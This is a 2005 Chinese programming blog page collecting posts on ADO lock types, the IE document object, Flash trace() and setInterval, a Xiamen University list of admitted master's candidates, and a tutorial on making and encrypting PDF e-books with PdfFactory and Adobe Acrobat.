ADLOCKREADONLY(=1)
缺省锁定类型,记录集是只读的,不能修改记录

ADLOCKPESSIMISTIC(=2)
悲观锁定,当修改记录时,数据提供者将尝试锁定记录以确保成功地编辑记录。只要编辑一开始,则立即锁住记录。

ADLOCKOPTIMISTIC(=3)
乐观锁定 ,直到用Update方法提交更新记录时才锁定记录。 ADLOCKBATCHOPTIMISTIC(=4)
批量乐观锁定,允许修改多个记录,只有调用UpdateBatch方法后才锁定记录。

当不需要改动任何记录时,应该使用只读的记录集,这样提供者不用做任何检测。
对于一般的使用,乐观的锁定可能是最好的选择,因为记录只被锁定一小段时间,
数据在这段时间被更新。这减少了资源的使用。

posted @ 2005-07-14 16:11 一天一点爱恋 阅读(155) | 评论 (0)编辑 收藏
 

成员表

下面的表格列出了 document 对象引出的成员。请单击左侧的标签来选择你想要查看的成员类型。

 
属性
 
显示:
属性
集合
事件
方法
对象
样式
属性 描述
activeElement 获取当父 document 拥有焦点时获得焦点的对象。
alinkColor 设置或获取元素中所有激活链接的颜色。
bgColor 不赞成。设置或获取表明对象后面的背景颜色的值。
charset 设置或获取用于解码对象的字符集。
cookie 设置或获取 cookie 的字符串值。
defaultCharset 从当前的区域语言中获取默认字符集。
designMode 设置或获取表明文档是否可被编辑的值。
dir 设置或获取表明对象的阅读顺序的值。
doctypeMicrosoft® Internet Explorer 6 新增 获取与当前文档关联的文档类型声明。
documentElement 获取对文档根结点的引用。
domain 设置或获取文档的安全域名。
expando 设置或获取表明是否可对象内创建任意变量的值。
fgColor 设置或获取文档的前景(文本)颜色。
fileCreatedDate 获取文件创建的日期。
fileModifiedDate 获取文件上次修改的日期。
fileSize 获取文件大小。
implementationMicrosoft® Internet Explorer 6 新增 获取当前文档implementation 对象。
lastModified 获取页面上次修改的日期,若页面提供的话。
linkColor 设置或获取对象文档链接的颜色。
parentWindow 获取容器对象所在窗口的引用。
protocol 设置或获取 URL 的协议部分。
readyState 获取表明对象当前状态的值。
referrer 获取将用户引入当前页面的位置 URL。
uniqueID 获取为对象自动生成的唯一标识符。
URL 设置或获取当前文档的 URL。
URLUnencoded 获取文档的 URL,去除所有字符编码。
vlinkColor 设置或获取用户已访问过的链接颜色。
XMLDocument 获取对由对象引出的的 XML 文档对象模型(DOM)的引用。
XSLDocument 获取对 XSL 文档的顶层结点的引用。
集合 描述
all 返回对象所包含的元素集合的引用。
anchors 获取所有带有 name 和/或 id 属性的 a 对象的集合。此集合中的对象以 HTML 源顺序排列。
applets 获取文档中所有 applet 对象的集合。
childNodes 获取作为指定对象直接后代的 HTML 元素TextNode 对象的集合。
embeds 获取文档中所有 embed 对象的集合。
forms 获取以源顺序排列的文档中所有 form 对象的集合。
frames 获取给定文档定义或与给定窗口关联的文档定义的所有 window 对象的集合。
images 获取以源顺序排列的文档中所有 img 对象的集合。
links 获取文档中所有指定了 HREF 属性的 a 对象和所有 area 对象的集合。
namespaces 获取 namespace 对象的集合。
scripts 获取文档中所有 script 对象的集合。
styleSheets 获取代表与文档中每个 linkstyle 对象的实例相对应的样式表的 styleSheet 对象的集合。
事件 描述
onactivate 对象设置为活动元素时触发。
onbeforeactivateMicrosoft® Internet Explorer 6 新增 对象要被设置为当前元素前立即触发。
onbeforecut 当选中区从文档中删除之前在源对象触发。
onbeforedeactivate activeElement 从当前对象变为父文档其它对象之前立即触发。
onbeforeeditfocus 在包含于可编辑元素内的对象进入用户界面激活状态前或可编辑容器变成控件选中区前触发。
onbeforepaste 在选中区从系统剪贴板粘贴到文档前在目标对象上触发。
onclick 在用户用鼠标左键单击对象时触发。
oncontextmenu 在用户使用鼠标右键单击客户区打开上下文菜单时触发。
oncontrolselect 当用户将要对该对象制作一个控件选中区时触发。
oncut 对象或选中区从文档中删除并添加到系统剪贴板上时在源元素上触发。
ondblclick 当用户双击对象时触发。
ondeactivate activeElement 从当前对象变为父文档其它对象时触发。
ondrag 当进行拖曳操作时在源对象上持续触发。
ondragend 当用户在拖曳操作结束后释放鼠标时在源对象上触发。
ondragenter 当用户拖曳对象到一个合法拖曳目标时在目标元素上触发。
ondragleave 当用户在拖曳操作过程中将鼠标移出合法拖曳目标时在目标对象上触发。
ondragover 当用户拖曳对象划过合法拖曳目标时持续在目标元素上触发。
ondragstart 当用户开始拖曳文本选中区或选中对象时在源对象上触发。
ondrop 当鼠标按钮在拖曳操作过程中释放时在目标对象上触发。
onfocusinMicrosoft® Internet Explorer 6 新增 当元素将要被设置为焦点之前触发。
onfocusoutMicrosoft® Internet Explorer 6 新增 在移动焦点到其它元素之后立即触发于当前拥有焦点的元素上触发。
onhelp 当用户在浏览器为当前窗口时按 F1 键时触发。
onkeydown 当用户按下键盘按键时触发。
onkeypress 当用户按下字面键时触发。
onkeyup 当用户释放键盘按键时触发。
onmousedown 当用户用任何鼠标按钮单击对象时触发。
onmousemove 当用户将鼠标划过对象时触发。
onmouseout 当用户将鼠标指针移出对象边界时触发。
onmouseover 当用户将鼠标指针移动到对象内时触发。
onmouseup 当用户在鼠标位于对象之上时释放鼠标按钮时触发。
onmousewheelMicrosoft® Internet Explorer 6 新增 当鼠标滚轮按钮旋转时触发。
onmove 对象移动时触发。
onmoveend 对象停止移动时触发。
onmovestart 对象开始移动时触发。
onpaste 当用户粘贴数据以便从系统剪贴板向文档传送数据时在目标对象上触发。
onpropertychange 当在对象上发生对象上发生属性更改时触发。
onreadystatechange 对象状态变更时触发。
onresizeend 当用户更改完控件选中区中对象的尺寸时触发。
onresizestart 当用户开始更改控件选中区中对象的尺寸时触发。
onselectionchange 当文档的选中状态改变时触发。
onstop 当用户单击停止按钮或离开 Web 页面时触发。
方法 描述
attachEvent 将指定函数绑定到事件,以便每当该事件在对象上触发时都调用该函数。
clear 目前尚未支持。
close 关闭输出流并强制将数据发送到显示。
createAttributeMicrosoft® Internet Explorer 6 新增 以指定名称创建 attribute 对象。
createCommentMicrosoft® Internet Explorer 6 新增 以指定数据创建 comment 对象。
createDocumentFragment 创建一个新文档。
createElement 为指定标签创建一个元素的实例。
createEventObject 生成当使用 fireEvent 方法时用于传递事件相关信息的 event 对象。
createStyleSheet 为文档创建样式表。
createTextNode 从指定值中创建文本字符串。
detachEvent 从事件中取消指定函数的绑定,这样当事件触发时函数就不会收到通知了。
elementFromPoint 返回指定 x 和 y 坐标的元素。
execCommand 在当前文档、当前选中区或给定范围上执行命令。
focus 使得元素得到焦点并执行由 onfocus 事件指定的代码。
getElementById 获取对 ID 标签属性为指定值的第一个对象的引用。
getElementsByName 根据 NAME 标签属性的值获取对象的集合。
getElementsByTagName 获取基于指定元素名称的对象集合。
hasFocus 获取表明对象目前是否拥有焦点的值。
mergeAttributes 复制所有读/写标签属性到指定元素。
open 此方法以两种方式工作。该方法打开一个文档用于收集 writewriteln 方法的输出。在这种情况下,只使用前两个参数 url 和 name。若指定了附加参数,此方法将打开一个窗口,这与 window 对象的 window.open 方法相同。
queryCommandEnabled 返回表明指定命令是否可于给定文档当前状态下使用 execCommand 命令成功执行的 Boolean 值。
queryCommandIndeterm 返回表明指定命令是否处于模糊状态的 Boolean 值。
queryCommandState 返回表明命令当前状态的 Boolean 值。
queryCommandSupported 返回表明当前命令是否在当前区域上支持的 Boolean 值。
queryCommandValue 返回文档、范围或当前选中区对于给定命令的当前值。
recalc 重新计算当前文档中的全部动态属性。
releaseCapture 释放当前文档中对象的鼠标捕捉。
setActive 设置对象为当前对象而不将对象置为焦点。
write 在指定窗口的文档中写入一个或多个 HTML 表达式。
writeln 在指定窗口的文档中写入一个或多个 HTML 表达式,后面追加一个换行符。
元素 对象 描述
BODY body 指定文档主体的开始和结束。
implementationMicrosoft® Internet Explorer 6 新增 包含了关于对象支持的模块信息。
location 包含关于当前 URL 的信息。
selection 代表了当前激活选中区,即高亮文本块,和/或文当中用户可执行某些操作的其它元素。
TITLE title 包含文档的标题。
样式属性 描述
compatModeMicrosoft® Internet Explorer 6 新增 设置或获取表明此对象是否应用标准兼容模式的值。

注释

此对象在 Microsoft® Internet Explorer 3.0 的脚本中可用。

使用 document 对象可以对 HTML 文档进行检查、修改或添加内容,并处理该文档内部的事件。在 Web 页面上,document 对象可通过 window 对象的 document 属性引用,或者直接引用。

document 对象在主文档的任意时间均可用,但是对于目前正在轻便动态 HTML(DHTML) 行为中使用的 HTML 组件(HTC)来说却不可用。这是因为轻便的行为仅当在 HTC 文件中不使用 document 对象时才可被定义。结果将使得轻便的行为比常规行为运行更加快速和有效率。但是,轻便的 DHTML 行为可以与常规的 DHTML 行为一样的方法访问主文档的 document 对象。

ondocumentready 事件将通知 DHTML 行为包含该行为的主 Web 页面的 document 对象可用。只要 ondocumentready 被触发,行为就可以开始处理主 document 属性。

行为中的脚本可以在 HTC 或主文档中引用 document 对象。如果要在 HTC 文件中编码脚本,应使用 element.document 来引用主文档的 document 对象。

示例

下面的例子使用了 document 对象检查文档标题并在消息框中显示该标题(如果非)。

if (document.title!="")
    alert("标题为 " + document.title)

下面的例子演示了在浏览器的状态栏上显示鼠标当前位置的事件句柄函数,所得位置相对于文档的左上角。

显示示例

标准信息

没有应用于此对象的公共标准。

应用到

posted @ 2005-07-14 15:39 一天一点爱恋 阅读(164) | 评论 (0)编辑 收藏
 

可用性

Flash Player 4。

用法

trace(expression)

参数

expression 要计算的表达式。在 Flash 创作工具中使用“测试影片”命令打开 SWF 文件时,expression 参数的值显示在“输出”面板中。

返回

无。

说明

语句;在测试模式下,计算表达式并在“输出”面板中显示结果。

在测试影片时,使用此动作可在“输出”面板中记录编程注释或显示消息。使用 expression 参数可以检查是否存在某种条件,或在“输出”面板中显示值。trace() 动作类似于 JavaScript 中的 alert 函数。

可以使用“发布设置”中的“Omit Trace Actions”(省略 Trace 动作)命令将 trace() 动作从导出的 SWF 文件中删除。

示例

此示例来自一个游戏,在该游戏中一个名为 my_mc 的可拖动影片剪辑实例必须在特定目标上释放。我们使用一个条件语句来计算 _droptarget 属性并根据 my_mc 的释放位置执行不同的动作。在脚本的末尾使用 trace() 动作来计算 my_mc 影片剪辑的位置,并在“输出”面板中显示结果。如果 my_mc 的行为与预期的不一样(例如,如果它对齐的目标不正确),则由 trace() 动作发送到“输出”面板的值将有助于您确定脚本中的问题。

on (press) {
  my_mc.startDrag();
}

on (release) {
  if(eval(_droptarget) != target) {
      my_mc._x = my_mc_xValue;
      my_mc._y = my_mc_yValue;
  } else {
    var my_mc_xValue = my_mc._x;
    var my_mc_yValue = my_mc._y;
    target = "_root.pasture";
  }
  trace("my_mc_xValue = " + my_mc_xValue);
  trace("my_mc_xValue = " + my_mc_xValue);
  stopDrag();
}
posted @ 2005-07-14 15:25 一天一点爱恋 阅读(211) | 评论 (0)编辑 收藏
 
setInterval全面的介绍

setInterval全面的介绍
setInterval动作的作用是在播放动画的时,每隔一定时间就调用函数,方法或对象。可以使用本动作更新来自数据库的变量或更新时间显示。setInterval动作的语法格式如下:
setInterval(function,interval[,arg1,arg2,......argn])
setInterval(object,methodName,interval[,arg1,arg2,.....argn])
第一种格式是标准动作面板中setInterval函数的默认语法,第二种格式是在专家模式动作中使用的方法。
其中的参数function是一个函数名或者一个对匿名函数的引用。object参数指定从Object对象派生的对象。methodName制定object参数中要调用的方法。interval制定对function或methodName调用两次之间的时间,单位是毫秒。后面的arg1等是可选的参数,用于制定传递给function或是methodName的参数。
setInterval它设置的时间间隔小于动画帧速(如每秒10帧,相当于100毫秒),则按照尽可能接近interval的时间间隔调用函数。而且必须使用updateAfterEvent动作来确保以足够的频率刷新屏幕。如果interval大于动画帧速,则只用在每次播放头进入某一帧是才调用,以减小每次刷新屏幕的影响。
下面的例子每隔1秒调用一次匿名函数。
setInterval(function(){trace("每隔1秒钟我就会显示一次")},1000);//这里的function(){}是没有函数名
的函数。成为匿名函数,后面的1000是时间间隔,单位是毫秒。
下面的例子为我们展示如何带参数运行。
function show1(){
trace("每隔1秒我就会显示一次");
}
function show2(str){
trace(str);
}
setInterval(show1,1000);
setInterval(show2,2000,"每隔2秒我就会显示一次");
上面已经将函数的setInterval方法介绍了。
下面我们将介绍对象的setInterval方法。
首先,写一个setInterval在动作中调用对象的方法的例子,该例子不需要传递参数。
myobj=new Object();//创建一个新的对象
myobj.interval=function){
trace("每隔1秒我就会显示一次");
}//创建对象的方法。
setInterval(myobj,"interval",1000);//设定时间间隔调用对象的方法。
接下来介绍如何传递参数。其实道理和函数的传递参数是一样的。
myobj=new Object();
myobj.interval-function(str){
trace(str);
}
setInterval(myobj,"interval",2000," 每隔2秒我就会显示一次");
注意。要调用为对象定义的方法时,必须在专家模式中使用第二种语法格式。
这样子的话呢,我们来作一个动态显示时间的画面。可以用下面的代码实现。
setInterval(show,1000);
function show(){
time=new Date();
hour=time.getHours();
minu=time.getMinutes();
sec=time.get.Seconds();
datetime=hour+":"+minu+":"+sec;
}//这里的datetime是一个动态文本框的变量名字。
这样子呢,setInterval这个方法大家应该学的很好了。现在呢,我们学习clearInterval.
clearInterval动作的作用是清楚对setInterval函数的调用,它的语法格式如下clearInterval(intervalid);intervalid是调用setInterval函数后返回的对象。
下面举一个简单的例子。
function show(){
trace("每隔一秒我就会显示一次");
}
var sh;
sh=setInterval(show,1000);
clearInterval(sh);
好的至此,学习结束。希望对大家有所帮助。
以上代码可以直接复制。
posted @ 2005-07-14 15:23 一天一点爱恋 阅读(161) | 评论 (0)编辑 收藏
 
1。完成日志的添加
2。
posted @ 2005-07-13 09:50 一天一点爱恋 阅读(121) | 评论 (0)编辑 收藏
 
2005年厦门大学硕士 计算机科学系 研究生拟录取名单
考生号
姓名
专业名称
103845211220006 连凤娜 计算机软件与理论
103845211220016 庄云鹏 计算机软件与理论
103845211230021 郑勇明 计算机软件与理论
103845211220030 郑垚 计算机软件与理论
103845211220035 蔡剑 计算机软件与理论
103845211230050 陈晓文 计算机软件与理论
103845103840303 郑仁广 计算机软件与理论
103845103840304 吴国才 计算机软件与理论
103845103840309 许振明 计算机软件与理论
103845211220060 高君杰 计算机软件与理论
103845211220065 刘伟 计算机软件与理论
103845211220074 潘夏福 计算机软件与理论
103845211230102 肖欣延 计算机软件与理论
103845211220082 卓义宝 计算机软件与理论
103845211220091 丁倩蕾 计算机软件与理论
103845211220096 吴凡 计算机软件与理论
100135350310008 王良霖 计算机软件与理论
103845211210001 李玲 计算机系统结构
103845211210003 余强力 计算机系统结构
103845211210004 刘峰 计算机系统结构
103845211210007 董林茂 计算机系统结构
103845211210016 周功建 计算机系统结构
103845103840300 陈琼 计算机系统结构
103845103840301 杨剑萍 计算机系统结构
103845103840302 黄荔丽 计算机系统结构
103845211210035 唐琦 计算机系统结构
103845211210036 柯远青 计算机系统结构
103845211210041 傅博 计算机系统结构
103845211210042 林炼 计算机系统结构
103845211210049 曾坤 计算机系统结构
103845211210053 余兵 计算机系统结构
103845211210061 刘波 计算机系统结构
103845211210068 楚宇燕 计算机系统结构
103845211210074 王雷 计算机系统结构
103845211210078 常可沛 计算机系统结构
103845211230017 崔文迪 计算机应用技术
103845211230024 孙岩 计算机应用技术
103845211230029 汪洋 计算机应用技术
103845211230038 王明芬 计算机应用技术
103845211230042 黄磊 计算机应用技术
103845211230043 林萌 计算机应用技术
103845211230045 魏昇 计算机应用技术
103845103840310 贾剑峰 计算机应用技术
103845211230055 李凡 计算机应用技术
103845103840311 黄宣达 计算机应用技术
103845103840312 魏丽军 计算机应用技术
103845103840313 蔡佳佳 计算机应用技术
103845211230067 林江云 计算机应用技术
103845211230068 卢敏 计算机应用技术
103845211230072 陈禹 计算机应用技术
103845211230073 郑彬彬 计算机应用技术
103845211230082 孙为新 计算机应用技术
103845211230084 陈永建 计算机应用技术
103845211230086 陈青山 计算机应用技术
103845211230089 庄永文 计算机应用技术
103845211230090 赖兴邦 计算机应用技术
103845211230094 倪恩志 计算机应用技术
103845211230096 林哲辉 计算机应用技术
103845211230098 王小辉 计算机应用技术
103845211230099 吴绿芳 计算机应用技术
103845211230119 吴众山 计算机应用技术
103845211230126 郑文侃 计算机应用技术
103845211230127 郑锋 计算机应用技术
103845211230130 张彩红 计算机应用技术
103845211230135 张艳林 计算机应用技术
103845211230136 李政 计算机应用技术
103845211230139 郭锋 计算机应用技术
103845211230145 刘亚东 计算机应用技术
103845211230149 刘瑞林 计算机应用技术
103845211230152 李长军 计算机应用技术
103845211230161 黄关维 计算机应用技术
800015150000428 李剑锋 计算机应用技术
103355921040686 吴春龙 计算机应用技术
100135350410012 夏金存 计算机应用技术
100035024006999 苏松志 计算机应用技术
posted @ 2005-07-09 14:48 一天一点爱恋 阅读(889) | 评论 (0)编辑 收藏
 
 PDF文档是由Adobe公司开发的一种电子文档格式,它能够完整地保留源文档中的所有字体、格式、颜色和图形,并且具有跨平台、可以加密等众多优秀特性。现在许多报纸、杂志、小说都采用了PDF文档作为其专用保存的电子书籍格式,它已经成为全世界电子文档公开的事实标准。如果你也想制作PDF文档,那么你可以试试PdfFactory这个软件,使用它我们可以像打印普通文档一样来把文件“打印”成PDF文档,非常方便。它是一款共享软件,可在任何版本的Windows系统下运行。
下载安装好PdfFactory后,我们在打印机控制面板中就可以找到一台由PdfFactory虚拟出来的打印机。

  下面我们以Word文档为例,讲解一下如何使用常用程序把普通文档“打印”成PDF文档。

  首先启动Word程序并打开或新建一篇文档,然后单击“文件”菜单中的“打印”命令进入打印设置窗口(如图1)。这里我们在“打印机名称”下拉菜单中选择由PdfFactory虚拟出来的打印机。

图1选择由PdfFactory虚拟出来的打印机

  选择完打印机后单击窗口中的“确定”按钮进入PDF文档转换设置窗口。

  Preview(预览)标签页

  在预览标签页内我们可以对即将要“打印”出的PDF文档进行预览,单击鼠标可以对文档进行缩放查看。

  Fonts(字体)标签页

  在字体标签页内我们可以确定是否把当前Word文档中使用到的所有字体都内嵌到PDF文档中去,或者只内嵌指定的字体(如图2)。

图2选择内嵌字体

  DocInfo文档信息标签页

  在文档信息标签页内我们可以设置PDF文档的一些基本信息,如标题(Title)、主题(Subject)、作者(Author)、关键字(Keywords)等等。

  在我们设置完所需选项的参数后,就可以单击窗口中的“保存”按钮把当前的Word文档“打印”成PDF文档了!然后我们就可以用Adobe Acrobat Reader打开并进行阅读我们制作好的PDF文档了。同样在其他的常用程序中我们也可以把所需的文档或图片“打印”成PDF文档,比如Photoshop、IE、画图、记事本等等都可以,有兴趣的朋友可自行一试。

  在前面,我们介绍了EXE、PDF、LIT这三种格式电子书的制作方式,其中的PDF制作软件PDTDriver小巧,但是功能远不及AdobeAcrobat强大。因此,下面就重点讨论如何用AdobeAcrobat软件来制作一本PDF格式的电子图书,让令狐大侠也在PDF世界中“笑傲”一次吧。
  制作PDF格式的电子图书当然少不了AdobeAcrobat,它与AdobeAcrobatReader并不完全相同,虽然是同一家公司的产品,但AdobeAcrobatReader仅仅是一个用于浏览PDF文档的阅读工具;而AdobeAcrobat软件则可以用来创建和改善PDF文件,是一款商业软件,集成了Postscript和PDF相关工具的软件开发包,其中有制作PDF文件所需要的PDFWriter、AcrobatDistiller、AcrobatExchange、AcrobatCatalog、AcrobatCapturePlug-ins、AcrobatScan、AdobePostscriptPrinterDriver等软件。我们不但可以像使用AdobeAcrobatReader一样来浏览、导航、打印PDF文件,而且还能使用它来创建自己的PDF文件,如果你使用了完全版本,那么可以将任何格式的文件包括从纸上扫描来的文件转换为PDF格式,并且提高文件的导航、保密和注解功能,你还可以使用Acrobat来创建PDF表单,可以将剪切下来的文本和表单粘贴到PDF文件中,也可以将PDF文件中的文本和表单剪切粘贴至其它文件中。
  最新版本:5.0文件大小:95627KB软件授权:共享软件使用平台:Windows9x/Me下载地址:http//www.adobe.com一、软件的安装AdobeAcrobat的最新版本是5.0,可惜只有英文版本,如果加上亚洲语言支持包,差不多超过100MB,因此你是从http//www.adobe.com下载共享版本的话,可要稍微耐心一些哟!
  软件的安装过程很简单,基本上一路“Next”就可以了,不过在这里要提醒的是最好使用“Custom”方式安装,否则是不会同时安装AcrobatPDFWriter程序的。还有一点,在安装亚洲语言支持包时一定要将它安装到“AdobeAcrobat”自己的目录下,不能指向下面的Reader子目录,否则阅读中文PDF文档时只能显示空码。软件安装结束后,安装程序会要求重启动系统。
  二、跟我学做PDF文档这里要说明的是,AdobeAcrobat并不能创建一个空白的PDF文档,我们必须从其它软件导入电子文档。最简单的一种方法是将文件直接拖放到AdobeAcrobat窗口中就行了,或者使用Word97/2000中的CreateAdobePDF命令或者在打印命令中选择打印到PDF,下面就跟我学吧:
  1.拖放方式这一种方式最为简单,我们只需同时打开AdobeAcrobat和资源管理器,找到《笑傲江湖》的Word文档图标,然后直接拖放到AdobeAcrobat窗口中,程序即会自动将它转换为PDF文档,2.通过“打印”命令创建PDF文档PDFWriter可以将文档快速打印成PDF格式,不过如果你的文档比较大或者其中含有声音、图像、动画等丰富的多媒体信息时,建议还是使用AcrobatDistiller较为合适一些。
  首先在Word97/2000中打开要创建成PDF文档的文件(任何格式均可,只要Word可以打开),然后从“文件”菜单中选择“打印”命令,请不要选择工具栏的打印图标,因为这种方式无法改变打印机的名称,除非你已经在“打印机设置”中将AcrobatPDFWriter设置为缺省打印机。
  待出现“打印”对话框后,从“打印机名称”下拉列表框中选择“AcrobatPDFWriter”,输入页码范围,然后单击“打印”或“确定”按钮即可(如图1所示),接着会出现一个如图2所示的“另存为”对话框,我们可以在这里为PDF文件输入一个文件名和保存路径,从图2中可以看到其下有“EditDocumentinfo”(编辑文档信息)和“ViewPDFFile”两个选项,前者可以打开如图3所示的“AcrobatPDFWriterDocumentInformation”对话框,你可以在这里输入标题、作者、关键词等信息,后者可以自动在Acrobat中打开新的PDF文件。
  一切设置完成后,点击“保存”按钮,AcrobatPDFWriter就会在后台对文档进行转换,转换的时间视文档大小和内容而定,如果只是一些文本信息,那么转换的速度应该是很快的。现在,你就可以运行AdobeAcrobatReader或AdobeAcrobat程序,打开刚才创建的PDF文件,如图4所示,令狐大侠的形象就在你的眼前了。
  3.使用CreateAdobePDF命令创建PDF文档从“文件→CreateAdobePDF”菜单下可以看到一共有Print和Preferences两个命令,如图5所示,首先最好选择“CreateAdobePDF→Preferences”命令,打开“AdobePDFMakerPreferences”对话框,对有关的选项进行一些设置,因为在转换过程中PDFMaker将会把Word文件中的一些信息和结构对应转换为PDF文件的信息和结构,如Word中的头部将被转换为PDF文件的书签,Word中的URL将被转换为PDF的网页链接,Word中的交叉参照将被转换为PDF的内部链接,Word中的文件属性将被转换为PDF的文件信息等等。
  接下来,只要使用“CreateAdobePDF→Print”命令就可以将文档转换为PDF格式。
  AcrobatDistiller是一个将Postscript文件转换为PDF文件的PDF文件生成器,用AcrobatDistiller制作的PDF文档可以保留源文件中全部内容,包括其中的格式和图形,而且与PDFWriter相比,它可以更精确地控制转换过程。
  不过,为了使Distiller能够创建PDF文档,系统中必须安装一个PostScript打印机驱动程序和一个DistillerPostScript打印机说明(即PPD文件),Acrobat缺省安装包括AdobePS4.2.4(ForWindows9x)、AdobePS5.0/5.1(ForWindowsNT)、AdobePS8.501(ForMacOS)驱动程序。
  使用Distiller创建PDF文档有3种方式进行:
  ⑴直接拖放文件只要找到相应文件,然后将文件图标直接拖放到Distiller图标或Acrobat窗口的标题栏上。
  ⑵将Acrobat中打开的文件另存在AdobeAcrobat程序中,从“File”菜单中选择“Open”命令,在“打开”对话框中的“文件类型”下拉列表框中选择“AllFiles(.)”,然后找到欲转换为PDF的文件,单击“打开”按钮,最后将它另存为一个新的PDF格式的文件就可以了。
  ⑶通过“打印”命令创建其实这一种方式与前面谈到的使用PDFWriter创建PDF文档的方法差不多,只不过这次是从“打印机名称”下拉列表框中选择“AcrobatDistiller”而已(如图6所示),其它的没有什么区别。
  由于AdobeAcrobat的图形编辑、处理能力等并不是很出色,笔者建议最好先使用其它软件完成文字输入、图片的处理、整体排版等工作,这样可以省去很多功夫。
  三、对PDF文档进行美化如果你只是想自己学会制作PDF格式的电子图书,那么上面提到的4种方法都可以达到目的。不过,为了让这本自主版权《笑傲江湖》电子图书阅读起来更为方便(同时也是为了提升它的档次),那么请继续随我来吧:
  1.设置合适的页面大小打开《笑傲江湖》电子文档,选择单页布局方式,然后切换到第一页,双击工具栏上的裁剪工具,或者从“Document”菜单中执行“CropPages”命令,将会看到的“CropPages”对话框,在这里你可以调整文档中一页或所有页面的页边距。
  在Top、Left、Right、Bottom列表框(图7)中可以对上、左、右、下页边距进行精确的调整,选择“All”可以将页边距应用到整个文档,选择“Fromto”则是将页边距应用到指定页面。在“Crop”下拉列表框中还可以选择所有页面、偶数和奇数页面、仅奇数页面、仅偶数页面等选项。裁剪工具并不减小文件的大小,不过这一操作无法撤销,因此在执行前请仔细检查。
  2.插入遗漏章节有时候,你可能在制作完成后,才忽然发觉漏掉其中的某一章节,这可怎么办,总不成全部重来吧?当然不需要,AdobeAcrobat可以很轻松完成这一切。
  首先,打开已完成部分的《笑傲江湖》电子文档,然后从“Document”菜单中执行“InsertPages”命令,选择准备添加的源文档,选择好后会弹出一个对话框询问源文档的插入位置(图8),可以从“Location”下拉列表框中选择Before、After,确定文档的插入位置可以规定源文档是插在第一页、最后一页、输入的页码之前或之后等,一切选择好后,点击“确定”按钮就可以完成添加工作,假如还有其它章节需要插入,可以按照刚才的方法继续添加。当然,更为简单的方法是从资源管理器直接将欲合并的PDF文档拖放至已打开的主文档区,以后的步骤完全一致。
  3.设置文本属性使用“TouchUpTexttool”工具选择所需的文字,然后选择快捷命令“Properties”,在如图9所示的对话框中设置文本的字体、大小、颜色等属性,不过这里要提醒的是尽量使用系统默认的宋体,以便减少字体尺寸,如果你无法确认使用的字体在对方的系统中是否安装,可以勾选“Embed”嵌入,不过这样做会使PDF文档变得非常大,一般情况下不推荐如此做。
  4.创建书签书签提供了直观目录,通常代表文档中的章节和其它组织项目,这样会使读者的阅读轻松不少。
  在导航栏中点击“Bookmarks”图标,再点击“Bookmars”右下角的小箭头,选择“NewsBookmark”命令,输入书签名字如“第一章《灭门》”,按回车键确定,然后右击该书签,选择“Properties”命令,在如图10所示的“BookmarkProperties”对话框中进行有关项目的设置,如在“Action”的“Type”下拉列表框中选择“GotoView”,然后在对话框外切换到所需要的页面,并调整好显示比例,最后点击“SetAction”按钮完成。其它如第二章《聆秘》、第三章《救难》等书签可按照同样的方法制作,最后制作好的标签如图11所示。
  5.制作MouseOver按钮如果你的AdobeAcrobat是完全版本的话,那么就可以利用Form工具来控制页面的触发事件,例如在页面打开时播放一段你喜欢的MP3音乐,或者通过具有MouseOver效果链接的图标来打开一个特定的文件、电影片段等,这样在阅读时除了视觉的享受之外还可以听到美妙的音乐呢!
  下面就以制作带有OnMouse效果的跳转页面按钮为例介绍:
  单击左侧工具栏中的“FormTool”工具,这时光标将变成一个十字形的图标,利用它在页面上拖出一个区域,你马上就可以看到如图12所示的“FieldProperties”对话框:
  Name:为这个表单起一个唯一的名字Type:这是一个下拉列表框,有Button、CheckBox、ComboBox、ListBox、RadioButton、Signature、Text等七种类型,这里当然选择“Button(按钮)”啦。
  ShortDescription:在这里可以输入一些简单的说明文字,方便以后的查找。
  发下是六个标签页,点击后可以进行不同的设置。
  Appearance:在“Border”区,我们可以定义按钮边框、背景颜色、宽度和边框的类型;在“Text”区,可以定义文字的颜色、字体、大小;在“CommonProperties”区可以定义注释的类型和边框可见方式。
  Options:在“Aligment”下拉列表框中,你可以选择触发事件时是使用鼠标的左键、中键、右键,系统缺省是使用左键。
  Actions:定义详细的触发事件,在左边的“Whenthishappens”框中,建议选择“MouseUp”,右边则是定义当事件触发时,发生什么事件,点击“Add”按钮可以在图中看到一共有13种选项可供选择,如果你想产生切换页面的效果,可以选择JavaScript项。
  Format、Validate、Calculate等标签页并无多大实用意义,可以取默认值,这里就不多介绍了。
  完成所有设置后,点击“确定”按钮,一个“MouseOver”样式的按钮就制作完成,如果你愿意,还可以在“Action”中加入声音、动画等。
  6.给PDF文档加印章你也可像在一个纸张文档上使用橡皮印章一样,用Acrobat来给你的文档盖上一个印章。下面你将给文章的封面加盖一个印章。
  (1)在页面框上移动指针直到它变为一个I字光标,然后双击突出的当前页码。
  (2)在批注工具上按住鼠标按钮以显示一套隐藏工具,拖动并选取印章工具。(如图13)
  (3)单击页面的左上角。默认时,出现“批准”印章。
  你可从Acrobat印章库中选择另一个不同的印章。
  (4)选择“编辑”→“属性”。
  (5)从“分类”菜单中选取“标准”,从对话框左面窗口的列表中选择“草稿”,并单击“确定”。
  (6)选择手形工具,在文档窗口内单击以取消选取的印章。
  除了从Acrobat印章库使用印章外,你可创建你自己定义的印章,并以批注方式来使用它们。
  (7)选择“文件”→“保存”以保存该文件。
  7.文档加密设置如果你不希望别人对你制作的PDF电子书做修改或者其他一些损害你利益的事情,建议你对文档进行加密设置。加密设置具体如下:
  单击Acrobat菜单“File”→“DocumentSecurity”选项,在弹出的对话框中的“SecurityOptions”下拉菜单中选择“AcrobatStandardSecurity”选项,弹出对话框(图14):
  如果希望用户需要密码才能阅读,请选择“PasswordRequiredtoOpenDocument”(并输入用户打开文档时需要的密码)。
  建议选择“PasswordRequiredtoChangePermissionsandPasswords”选项,即只有制作者才可以修改文档信息及文档安全性密码。
  在“EncryptionLevel”(加密级别)中可以选择使用的加密级别:包括40-bit和128-bit两种方式,其中128-bit只能针对5.0版本,所以建议选择40-bit即可,以确保文档的向下兼容。
  我们这里还选择了“NoChangingtheDocument”,即不允许用户修改文档中的任何部分。如果需要禁止用户打印和复制文档中的文字和图片还可以勾选“NoPrinting”、“NoContentCopyingorExtraction,DisableAccessibility”选项。如果不允许用户加入或者改变注释、表格域可以勾选“NoAddingorChangingCommentsandFormFields”选项。
  设置完所有设置以后,点击OK关掉对话框即可。
